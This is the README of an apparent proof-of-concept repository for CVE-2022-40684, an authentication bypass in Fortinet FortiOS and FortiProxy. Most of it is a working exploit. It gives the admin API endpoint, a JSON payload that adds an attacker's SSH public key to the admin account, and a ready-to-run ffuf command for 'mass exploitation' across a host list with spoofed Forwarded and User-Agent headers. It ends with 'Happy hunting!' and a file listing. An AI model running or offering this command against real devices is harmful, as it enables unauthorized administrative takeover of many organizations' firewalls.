Exploit for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager# CVE-2022-40684-POC
FortiProxy / FortiOS Authentication bypass
## Mass exploitation
```/api/v2/cmdb/system/admin/<username>```
```{"ssh-public-key1": "<your-id_rsa.pub>"}```
```
ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1
]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "kljunowsky"}' -mr "SSH" -r
```
Happy hunting!
### Requirements
[ffuf](https://github.com/ffuf/ffuf)
Thanks [@joohoi](https://github.com/joohoi)!
[Twitter](https://twitter.com/milanshiftsec)
[LinkedIn](https://www.linkedin.com/in/milan-jovic-sec/)
[4.0K] /data/pocs/6cca192455637073dbf4baf9710c3bbc49aee6a4
├── [1.2K] CVE-2022-40684.py
├── [1.0K] LICENSE
└── [ 659] README.md
0 directories, 3 files